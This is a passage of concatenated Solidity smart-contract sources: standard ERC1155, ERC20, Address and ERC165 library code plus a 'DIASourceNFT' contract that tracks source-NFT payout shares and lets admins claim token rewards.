batchBalances[i] = balanceOf(accounts[i], ids[i]); } return batchBalances; } /** * @dev See {IERC1155-setApprovalForAll}. */ function setApprovalForAll(address operator, bool approved) public virtual override { require(_msgSender() != operator, "ERC1155: setting approval status for self"); _operatorApprovals[_msgSender()][operator] = approved; emit ApprovalForAll(_msgSender(), operator, approved); } /** * @dev See {IERC1155-isApprovedForAll}. */ function isApprovedForAll(address account, address operator) public view virtual override returns (bool) { return _operatorApprovals[account][operator]; } /** * @dev See {IERC1155-safeTransferFrom}. */ function safeTransferFrom( address from, address to, uint256 id, uint256 amount, bytes memory data ) public virtual override { require(to != address(0), "ERC1155: transfer to the zero address"); require( from == _msgSender() || isApprovedForAll(from, _msgSender()), "ERC1155: caller is not owner nor approved" ); address operator = _msgSender(); _beforeTokenTransfer(operator, from, to, _asSingletonArray(id), _asSingletonArray(amount), data); uint256 fromBalance = _balances[id][from]; require(fromBalance >= amount, "ERC1155: insufficient balance for transfer"); _balances[id][from] = fromBalance - amount; _balances[id][to] += amount; emit TransferSingle(operator, from, to, id, amount); _doSafeTransferAcceptanceCheck(operator, from, to, id, amount, data); } /** * @dev See {IERC1155-safeBatchTransferFrom}. */ function safeBatchTransferFrom( address from, address to, uint256[] memory ids, uint256[] memory amounts, bytes memory data ) public virtual override { require(ids.length == amounts.length, "ERC1155: ids and amounts length mismatch"); require(to != address(0), "ERC1155: transfer to the zero address"); require( from == _msgSender() || isApprovedForAll(from, _msgSender()), "ERC1155: transfer caller is not owner nor approved" ); address operator = _msgSender(); _beforeTokenTransfer(operator, from, to, ids, amounts, data); for (uint256 i = 0; i < ids.length; ++i) { uint256 id = ids[i]; uint256 amount = amounts[i]; uint256 fromBalance = _balances[id][from]; require(fromBalance >= amount, "ERC1155: insufficient balance for transfer"); _balances[id][from] = fromBalance - amount; _balances[id][to] += amount; } emit TransferBatch(operator, from, to, ids, amounts); _doSafeBatchTransferAcceptanceCheck(operator, from, to, ids, amounts, data); } /** * @dev Sets a new URI for all token types, by relying on the token type ID * substitution mechanism * https://eips.ethereum.org/EIPS/eip-1155#metadata[defined in the EIP]. * * By this mechanism, any occurrence of the `\{id\}` substring in either the * URI or any of the amounts in the JSON file at said URI will be replaced by * clients with the token type ID. * * For example, the `https://token-cdn-domain/\{id\}.json` URI would be * interpreted by clients as * `https://token-cdn-domain/000000000000000000000000000000000000000000000000000000000004cce0.json` * for token type ID 0x4cce0. * * See {uri}. * * Because these URIs cannot be meaningfully represented by the {URI} event, * this function emits no events. */ function _setURI(string memory newuri) internal virtual { _uri = newuri; } /** * @dev Creates `amount` tokens of token type `id`, and assigns them to `account`. * * Emits a {TransferSingle} event. * * Requirements: * * - `account` cannot be the zero address. * - If `account` refers to a smart contract, it must implement {IERC1155Receiver-onERC1155Received} and return the * acceptance magic value. */ function _mint(address account, uint256 id, uint256 amount, bytes memory data) internal virtual { require(account != address(0), "ERC1155: mint to the zero address"); address operator = _msgSender(); _beforeTokenTransfer(operator, address(0), account, _asSingletonArray(id), _asSingletonArray(amount), data); _balances[id][account] += amount; emit TransferSingle(operator, address(0), account, id, amount); _doSafeTransferAcceptanceCheck(operator, address(0), account, id, amount, data); } /** * @dev xref:ROOT:erc1155.adoc#batch-operations[Batched] version of {_mint}. * * Requirements: * * - `ids` and `amounts` must have the same length. * - If `to` refers to a smart contract, it must implement {IERC1155Receiver-onERC1155BatchReceived} and return the * acceptance magic value. */ function _mintBatch(address to, uint256[] memory ids, uint256[] memory amounts, bytes memory data) internal virtual { require(to != address(0), "ERC1155: mint to the zero address"); require(ids.length == amounts.length, "ERC1155: ids and amounts length mismatch"); address operator = _msgSender(); _beforeTokenTransfer(operator, address(0), to, ids, amounts, data); for (uint i = 0; i < ids.length; i++) { _balances[ids[i]][to] += amounts[i]; } emit TransferBatch(operator, address(0), to, ids, amounts); _doSafeBatchTransferAcceptanceCheck(operator, address(0), to, ids, amounts, data); } /** * @dev Destroys `amount` tokens of token type `id` from `account` * * Requirements: * * - `account` cannot be the zero address. * - `account` must have at least `amount` tokens of token type `id`. */ function _burn(address account, uint256 id, uint256 amount) internal virtual { require(account != address(0), "ERC1155: burn from the zero address"); address operator = _msgSender(); _beforeTokenTransfer(operator, account, address(0), _asSingletonArray(id), _asSingletonArray(amount), ""); uint256 accountBalance = _balances[id][account]; require(accountBalance >= amount, "ERC1155: burn amount exceeds balance"); _balances[id][account] = accountBalance - amount; emit TransferSingle(operator, account, address(0), id, amount); } /** * @dev xref:ROOT:erc1155.adoc#batch-operations[Batched] version of {_burn}. * * Requirements: * * - `ids` and `amounts` must have the same length. */ function _burnBatch(address account, uint256[] memory ids, uint256[] memory amounts) internal virtual { require(account != address(0), "ERC1155: burn from the zero address"); require(ids.length == amounts.length, "ERC1155: ids and amounts length mismatch"); address operator = _msgSender(); _beforeTokenTransfer(operator, account, address(0), ids, amounts, ""); for (uint i = 0; i < ids.length; i++) { uint256 id = ids[i]; uint256 amount = amounts[i]; uint256 accountBalance = _balances[id][account]; require(accountBalance >= amount, "ERC1155: burn amount exceeds balance"); _balances[id][account] = accountBalance - amount; } emit TransferBatch(operator, account, address(0), ids, amounts); } /** * @dev Hook that is called before any token transfer. This includes minting * and burning, as well as batched variants. * * The same hook is called on both single and batched variants. For single * transfers, the length of the `id` and `amount` arrays will be 1. * * Calling conditions (for each `id` and `amount` pair): * * - When `from` and `to` are both non-zero, `amount` of ``from``'s tokens * of token type `id` will be transferred to `to`. * - When `from` is zero, `amount` tokens of token type `id` will be minted * for `to`. * - when `to` is zero, `amount` of ``from``'s tokens of token type `id` * will be burned. * - `from` and `to` are never both zero. * - `ids` and `amounts` have the same, non-zero length. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer( address operator, address from, address to, uint256[] memory ids, uint256[] memory amounts, bytes memory data ) internal virtual { } function _doSafeTransferAcceptanceCheck( address operator, address from, address to, uint256 id, uint256 amount, bytes memory data ) private { if (to.isContract()) { try IERC1155Receiver(to).onERC1155Received(operator, from, id, amount, data) returns (bytes4 response) { if (response != IERC1155Receiver(to).onERC1155Received.selector) { revert("ERC1155: ERC1155Receiver rejected tokens"); } } catch Error(string memory reason) { revert(reason); } catch { revert("ERC1155: transfer to non ERC1155Receiver implementer"); } } } function _doSafeBatchTransferAcceptanceCheck( address operator, address from, address to, uint256[] memory ids, uint256[] memory amounts, bytes memory data ) private { if (to.isContract()) { try IERC1155Receiver(to).onERC1155BatchReceived(operator, from, ids, amounts, data) returns (bytes4 response) { if (response != IERC1155Receiver(to).onERC1155BatchReceived.selector) { revert("ERC1155: ERC1155Receiver rejected tokens"); } } catch Error(string memory reason) { revert(reason); } catch { revert("ERC1155: transfer to non ERC1155Receiver implementer"); } } } function _asSingletonArray(uint256 element) private pure returns (uint256[] memory) { uint256[] memory array = new uint256[](1); array[0] = element; return array; } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "./IERC20.sol"; import "./extensions/IERC20Metadata.sol"; import "../../utils/Context.sol"; /** * @dev Implementation of the {IERC20} interface. * * This implementation is agnostic to the way tokens are created. This means * that a supply mechanism has to be added in a derived contract using {_mint}. * For a generic mechanism see {ERC20PresetMinterPauser}. * * TIP: For a detailed writeup see our guide * https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How * to implement supply mechanisms]. * * We have followed general OpenZeppelin guidelines: functions revert instead * of returning `false` on failure. This behavior is nonetheless conventional * and does not conflict with the expectations of ERC20 applications. * * Additionally, an {Approval} event is emitted on calls to {transferFrom}. * This allows applications to reconstruct the allowance for all accounts just * by listening to said events. Other implementations of the EIP may not emit * these events, as it isn't required by the specification. * * Finally, the non-standard {decreaseAllowance} and {increaseAllowance} * functions have been added to mitigate the well-known issues around setting * allowances. See {IERC20-approve}. */ contract ERC20 is Context, IERC20, IERC20Metadata { mapping (address => uint256) private _balances; mapping (address => mapping (address => uint256)) private _allowances; uint256 private _totalSupply; string private _name; string private _symbol; /** * @dev Sets the values for {name} and {symbol}. * * The defaut value of {decimals} is 18. To select a different value for * {decimals} you should overload it. * * All two of these values are immutable: they can only be set once during * construction. */ constructor (string memory name_, string memory symbol_) { _name = name_; _symbol = symbol_; } /** * @dev Returns the name of the token. */ function name() public view virtual override returns (string memory) { return _name; } /** * @dev Returns the symbol of the token, usually a shorter version of the * name. */ function symbol() public view virtual override returns (string memory) { return _symbol; } /** * @dev Returns the number of decimals used to get its user representation. * For example, if `decimals` equals `2`, a balance of `505` tokens should * be displayed to a user as `5,05` (`505 / 10 ** 2`). * * Tokens usually opt for a value of 18, imitating the relationship between * Ether and Wei. This is the value {ERC20} uses, unless this function is * overridden; * * NOTE: This information is only used for _display_ purposes: it in * no way affects any of the arithmetic of the contract, including * {IERC20-balanceOf} and {IERC20-transfer}. */ function decimals() public view virtual override returns (uint8) { return 18; } /** * @dev See {IERC20-totalSupply}. */ function totalSupply() public view virtual override returns (uint256) { return _totalSupply; } /** * @dev See {IERC20-balanceOf}. */ function balanceOf(address account) public view virtual override returns (uint256) { return _balances[account]; } /** * @dev See {IERC20-transfer}. * * Requirements: * * - `recipient` cannot be the zero address. * - the caller must have a balance of at least `amount`. */ function transfer(address recipient, uint256 amount) public virtual override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } /** * @dev See {IERC20-allowance}. */ function allowance(address owner, address spender) public view virtual override returns (uint256) { return _allowances[owner][spender]; } /** * @dev See {IERC20-approve}. * * Requirements: * * - `spender` cannot be the zero address. */ function approve(address spender, uint256 amount) public virtual override returns (bool) { _approve(_msgSender(), spender, amount); return true; } /** * @dev See {IERC20-transferFrom}. * * Emits an {Approval} event indicating the updated allowance. This is not * required by the EIP. See the note at the beginning of {ERC20}. * * Requirements: * * - `sender` and `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. * - the caller must have allowance for ``sender``'s tokens of at least * `amount`. */ function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) { _transfer(sender, recipient, amount); uint256 currentAllowance = _allowances[sender][_msgSender()]; require(currentAllowance >= amount, "ERC20: transfer amount exceeds allowance"); _approve(sender, _msgSender(), currentAllowance - amount); return true; } /** * @dev Atomically increases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. */ function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender] + addedValue); return true; } /** * @dev Atomically decreases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. * - `spender` must have allowance for the caller of at least * `subtractedValue`. */ function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { uint256 currentAllowance = _allowances[_msgSender()][spender]; require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero"); _approve(_msgSender(), spender, currentAllowance - subtractedValue); return true; } /** * @dev Moves tokens `amount` from `sender` to `recipient`. * * This is internal function is equivalent to {transfer}, and can be used to * e.g. implement automatic token fees, slashing mechanisms, etc. * * Emits a {Transfer} event. * * Requirements: * * - `sender` cannot be the zero address. * - `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. */ function _transfer(address sender, address recipient, uint256 amount) internal virtual { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _beforeTokenTransfer(sender, recipient, amount); uint256 senderBalance = _balances[sender]; require(senderBalance >= amount, "ERC20: transfer amount exceeds balance"); _balances[sender] = senderBalance - amount; _balances[recipient] += amount; emit Transfer(sender, recipient, amount); } /** @dev Creates `amount` tokens and assigns them to `account`, increasing * the total supply. * * Emits a {Transfer} event with `from` set to the zero address. * * Requirements: * * - `to` cannot be the zero address. */ function _mint(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: mint to the zero address"); _beforeTokenTransfer(address(0), account, amount); _totalSupply += amount; _balances[account] += amount; emit Transfer(address(0), account, amount); } /** * @dev Destroys `amount` tokens from `account`, reducing the * total supply. * * Emits a {Transfer} event with `to` set to the zero address. * * Requirements: * * - `account` cannot be the zero address. * - `account` must have at least `amount` tokens. */ function _burn(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: burn from the zero address"); _beforeTokenTransfer(account, address(0), amount); uint256 accountBalance = _balances[account]; require(accountBalance >= amount, "ERC20: burn amount exceeds balance"); _balances[account] = accountBalance - amount; _totalSupply -= amount; emit Transfer(account, address(0), amount); } /** * @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens. * * This internal function is equivalent to `approve`, and can be used to * e.g. set automatic allowances for certain subsystems, etc. * * Emits an {Approval} event. * * Requirements: * * - `owner` cannot be the zero address. * - `spender` cannot be the zero address. */ function _approve(address owner, address spender, uint256 amount) internal virtual { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } /** * @dev Hook that is called before any transfer of tokens. This includes * minting and burning. * * Calling conditions: * * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens * will be to transferred to `to`. * - when `from` is zero, `amount` tokens will be minted for `to`. * - when `to` is zero, `amount` of ``from``'s tokens will be burned. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /** * @dev Standard math utilities missing in the Solidity language. */ library Math { /** * @dev Returns the largest of two numbers. */ function max(uint256 a, uint256 b) internal pure returns (uint256) { return a >= b ? a : b; } /** * @dev Returns the smallest of two numbers. */ function min(uint256 a, uint256 b) internal pure returns (uint256) { return a < b ? a : b; } /** * @dev Returns the average of two numbers. The result is rounded towards * zero. */ function average(uint256 a, uint256 b) internal pure returns (uint256) { // (a + b) / 2 can overflow, so we distribute return (a / 2) + (b / 2) + ((a % 2 + b % 2) / 2); } } // SPDX-License-Identifier: MIT pragma solidity 0.8.0; import "@openzeppelin/contracts/access/Ownable.sol"; import "@openzeppelin/contracts/token/ERC1155/ERC1155.sol"; import "@openzeppelin/contracts/token/ERC20/ERC20.sol"; contract DIASourceNFT is Ownable, ERC1155 { address public paymentToken; mapping (address => bool) public dataNFTContractAddresses; struct SourceNFTMetadata { uint256 claimablePayout; bool exists; address admin; uint256[] parentIds; uint256[] parentPayoutShares; uint256 payoutShare; uint256 sourcePoolAmount; } mapping (uint256 => SourceNFTMetadata) public sourceNfts; constructor(address newOwner) ERC1155("https://api.diadata.org/v1/nft/source_{id}.json") { transferOwnership(newOwner); } function setMetadataUri(string memory metadataURI) onlyOwner external { _setURI(metadataURI); } function getSourcePoolAmount(uint256 sourceNftId) external view returns (uint256) { return sourceNfts[sourceNftId].sourcePoolAmount; } function setSourcePoolAmount(uint256 sourceNftId, uint256 newAmount) external { require(sourceNfts[sourceNftId].admin == msg.sender, "Source Pool Amount can only be set by the sART admin"); sourceNfts[sourceNftId].sourcePoolAmount = newAmount; } function addDataNFTContractAddress(address newAddress) onlyOwner external { require(newAddress != address(0), "New address is 0."); dataNFTContractAddresses[newAddress] = true; } function removeDataNFTContractAddress(address oldAddress) onlyOwner external { require(oldAddress != address(0), "Removed address is 0."); dataNFTContractAddresses[oldAddress] = false; } function updateAdmin(uint256 sourceNftId, address newAdmin) external { require(sourceNfts[sourceNftId].admin == msg.sender); sourceNfts[sourceNftId].admin = newAdmin; } function addParent(uint256 sourceNftId, uint256 parentId, uint256 payoutShare) external { require(sourceNfts[sourceNftId].admin == msg.sender); require(sourceNfts[sourceNftId].payoutShare >= payoutShare); require(sourceNfts[parentId].exists, "Parent NFT does not exist!"); sourceNfts[sourceNftId].payoutShare -= payoutShare; sourceNfts[sourceNftId].parentPayoutShares.push(payoutShare); sourceNfts[sourceNftId].parentIds.push(parentId); } function updateParentPayoutShare(uint256 sourceNftId, uint256 parentId, uint256 newPayoutShare) external { require(sourceNfts[sourceNftId].admin == msg.sender); uint256 arrayIndex = (2**256) - 1; // find parent ID in payout shares for (uint256 i = 0; i < sourceNfts[sourceNftId].parentPayoutShares.length; i++) { if (sourceNfts[sourceNftId].parentIds[i] == parentId) { arrayIndex = i; break; } } uint256 payoutDelta; // Check if we can distribute enough payout shares if (newPayoutShare >= sourceNfts[sourceNftId].parentPayoutShares[arrayIndex]) { payoutDelta = newPayoutShare - sourceNfts[sourceNftId].parentPayoutShares[arrayIndex]; require(sourceNfts[sourceNftId].payoutShare >= payoutDelta, "Error: Not enough shares left to increase payout!"); sourceNfts[sourceNftId].payoutShare -= payoutDelta; sourceNfts[sourceNftId].parentPayoutShares[arrayIndex] += payoutDelta; } else { payoutDelta = sourceNfts[sourceNftId].parentPayoutShares[arrayIndex] - newPayoutShare; require(sourceNfts[sourceNftId].parentPayoutShares[arrayIndex] >= payoutDelta, "Error: Not enough shares left to decrease payout!"); sourceNfts[sourceNftId].payoutShare += payoutDelta; sourceNfts[sourceNftId].parentPayoutShares[arrayIndex] -= payoutDelta; } } function generateSourceToken(uint256 sourceNftId, address receiver) external onlyOwner { sourceNfts[sourceNftId].exists = true; sourceNfts[sourceNftId].admin = msg.sender; sourceNfts[sourceNftId].payoutShare = 10000; _mint(receiver, sourceNftId, 1, ""); } function notifyDataNFTMint(uint256 sourceNftId) external { require(dataNFTContractAddresses[msg.sender], "notifyDataNFTMint: Only data NFT contracts can be used to mint data NFTs"); require(sourceNfts[sourceNftId].exists, "notifyDataNFTMint: Source NFT does not exist!"); for (uint256 i = 0; i < sourceNfts[sourceNftId].parentIds.length; i++) { uint256 currentParentId = sourceNfts[sourceNftId].parentIds[i]; sourceNfts[currentParentId].claimablePayout += (sourceNfts[sourceNftId].parentPayoutShares[i] * sourceNfts[sourceNftId].sourcePoolAmount) / 10000; } sourceNfts[sourceNftId].claimablePayout += (sourceNfts[sourceNftId].payoutShare * sourceNfts[sourceNftId].sourcePoolAmount) / 10000; } function claimRewards(uint256 sourceNftId) external { address claimer = msg.sender; require(sourceNfts[sourceNftId].admin == claimer); uint256 payoutDataTokens = sourceNfts[sourceNftId].claimablePayout; require(ERC20(paymentToken).transfer(claimer, payoutDataTokens), "Token transfer failed."); sourceNfts[sourceNftId].claimablePayout = 0; } } // SPDX-License-Identifier: MIT pragma solidity 0.8.0; library Strings { function uint2str(uint _i) internal pure returns (string memory _uintAsString) { if (_i == 0) { return "0"; } uint j = _i; uint len; while (j != 0) { len++; j /= 10; } bytes memory bstr = new bytes(len); uint k = len; while (_i != 0) { k = k-1; uint8 temp = (48 + uint8(_i - _i / 10 * 10)); bytes1 b1 = bytes1(temp); bstr[k] = b1; _i /= 10; } return string(bstr); } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "../../utils/introspection/IERC165.sol"; /** * @dev Required interface of an ERC1155 compliant contract, as defined in the * https://eips.ethereum.org/EIPS/eip-1155[EIP]. * * _Available since v3.1._ */ interface IERC1155 is IERC165 { /** * @dev Emitted when `value` tokens of token type `id` are transferred from `from` to `to` by `operator`. */ event TransferSingle(address indexed operator, address indexed from, address indexed to, uint256 id, uint256 value); /** * @dev Equivalent to multiple {TransferSingle} events, where `operator`, `from` and `to` are the same for all * transfers. */ event TransferBatch(address indexed operator, address indexed from, address indexed to, uint256[] ids, uint256[] values); /** * @dev Emitted when `account` grants or revokes permission to `operator` to transfer their tokens, according to * `approved`. */ event ApprovalForAll(address indexed account, address indexed operator, bool approved); /** * @dev Emitted when the URI for token type `id` changes to `value`, if it is a non-programmatic URI. * * If an {URI} event was emitted for `id`, the standard * https://eips.ethereum.org/EIPS/eip-1155#metadata-extensions[guarantees] that `value` will equal the value * returned by {IERC1155MetadataURI-uri}. */ event URI(string value, uint256 indexed id); /** * @dev Returns the amount of tokens of token type `id` owned by `account`. * * Requirements: * * - `account` cannot be the zero address. */ function balanceOf(address account, uint256 id) external view returns (uint256); /** * @dev xref:ROOT:erc1155.adoc#batch-operations[Batched] version of {balanceOf}. * * Requirements: * * - `accounts` and `ids` must have the same length. */ function balanceOfBatch(address[] calldata accounts, uint256[] calldata ids) external view returns (uint256[] memory); /** * @dev Grants or revokes permission to `operator` to transfer the caller's tokens, according to `approved`, * * Emits an {ApprovalForAll} event. * * Requirements: * * - `operator` cannot be the caller. */ function setApprovalForAll(address operator, bool approved) external; /** * @dev Returns true if `operator` is approved to transfer ``account``'s tokens. * * See {setApprovalForAll}. */ function isApprovedForAll(address account, address operator) external view returns (bool); /** * @dev Transfers `amount` tokens of token type `id` from `from` to `to`. * * Emits a {TransferSingle} event. * * Requirements: * * - `to` cannot be the zero address. * - If the caller is not `from`, it must be have been approved to spend ``from``'s tokens via {setApprovalForAll}. * - `from` must have a balance of tokens of type `id` of at least `amount`. * - If `to` refers to a smart contract, it must implement {IERC1155Receiver-onERC1155Received} and return the * acceptance magic value. */ function safeTransferFrom(address from, address to, uint256 id, uint256 amount, bytes calldata data) external; /** * @dev xref:ROOT:erc1155.adoc#batch-operations[Batched] version of {safeTransferFrom}. * * Emits a {TransferBatch} event. * * Requirements: * * - `ids` and `amounts` must have the same length. * - If `to` refers to a smart contract, it must implement {IERC1155Receiver-onERC1155BatchReceived} and return the * acceptance magic value. */ function safeBatchTransferFrom(address from, address to, uint256[] calldata ids, uint256[] calldata amounts, bytes calldata data) external; } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "../../utils/introspection/IERC165.sol"; /** * @dev _Available since v3.1._ */ interface IERC1155Receiver is IERC165 { /** @dev Handles the receipt of a single ERC1155 token type. This function is called at the end of a `safeTransferFrom` after the balance has been updated. To accept the transfer, this must return `bytes4(keccak256("onERC1155Received(address,address,uint256,uint256,bytes)"))` (i.e. 0xf23a6e61, or its own function selector). @param operator The address which initiated the transfer (i.e. msg.sender) @param from The address which previously owned the token @param id The ID of the token being transferred @param value The amount of tokens being transferred @param data Additional data with no specified format @return `bytes4(keccak256("onERC1155Received(address,address,uint256,uint256,bytes)"))` if transfer is allowed */ function onERC1155Received( address operator, address from, uint256 id, uint256 value, bytes calldata data ) external returns(bytes4); /** @dev Handles the receipt of a multiple ERC1155 token types. This function is called at the end of a `safeBatchTransferFrom` after the balances have been updated. To accept the transfer(s), this must return `bytes4(keccak256("onERC1155BatchReceived(address,address,uint256[],uint256[],bytes)"))` (i.e. 0xbc197c81, or its own function selector). @param operator The address which initiated the batch transfer (i.e. msg.sender) @param from The address which previously owned the token @param ids An array containing ids of each token being transferred (order and length must match values array) @param values An array containing amounts of each token being transferred (order and length must match ids array) @param data Additional data with no specified format @return `bytes4(keccak256("onERC1155BatchReceived(address,address,uint256[],uint256[],bytes)"))` if transfer is allowed */ function onERC1155BatchReceived( address operator, address from, uint256[] calldata ids, uint256[] calldata values, bytes calldata data ) external returns(bytes4); } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "../IERC1155.sol"; /** * @dev Interface of the optional ERC1155MetadataExtension interface, as defined * in the https://eips.ethereum.org/EIPS/eip-1155#metadata-extensions[EIP]. * * _Available since v3.1._ */ interface IERC1155MetadataURI is IERC1155 { /** * @dev Returns the URI for token type `id`. * * If the `\{id\}` substring is present in the URI, it must be replaced by * clients with the actual token type ID. */ function uri(uint256 id) external view returns (string memory); } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /** * @dev Collection of functions related to the address type */ library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== */ function isContract(address account) internal view returns (bool) { // This method relies on extcodesize, which returns 0 for contracts in // construction, since the code is only stored at the end of the // constructor execution. uint256 size; // solhint-disable-next-line no-inline-assembly assembly { size := extcodesize(account) } return size > 0; } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); // solhint-disable-next-line avoid-low-level-calls, avoid-call-value (bool success, ) = recipient.call{ value: amount }(""); require(success, "Address: unable to send value, recipient may have reverted"); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain`call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { return functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); require(isContract(target), "Address: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.call{ value: value }(data); return _verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) { return functionStaticCall(target, data, "Address: low-level static call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data, string memory errorMessage) internal view returns (bytes memory) { require(isContract(target), "Address: static call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.staticcall(data); return _verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) { return functionDelegateCall(target, data, "Address: low-level delegate call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { require(isContract(target), "Address: delegate call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.delegatecall(data); return _verifyCallResult(success, returndata, errorMessage); } function _verifyCallResult(bool success, bytes memory returndata, string memory errorMessage) private pure returns(bytes memory) { if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly // solhint-disable-next-line no-inline-assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "./IERC165.sol"; /** * @dev Implementation of the {IERC165} interface. * * Contracts that want to implement ERC165 should inherit from this contract and override {supportsInterface} to check * for the additional interface id that will be supported. For example: * * ```solidity * function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { * return interfaceId == type(MyInterface).interfaceId || super.supportsInterface(interfaceId); * } * ``` * * Alternatively, {ERC165Storage} provides an easier to use but more expensive implementation. */ abstract contract ERC165 is IERC165 { /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { return interfaceId == type(IERC165).interfaceId; } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /** * @dev Interface of the ERC165 standard, as defined in the * https://eips.ethereum.org/EIPS/eip-165[EIP]. * * Implementers can declare support of contract interfaces, which can then be * queried by others ({ERC165Checker}). * * For an implementation, see {ERC165}. */ interface IERC165 { /** * @dev Returns true if this contract implements the interface defined by * `interfaceId`. See the corresponding * https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section] * to learn more about how these ids are created. * * This function call must use less than 30 000 gas. */ function supportsInterface(bytes4 interfaceId) external view returns (bool); } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /** * @dev Interface of the ERC20 standard as defined in the EIP. */ interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns 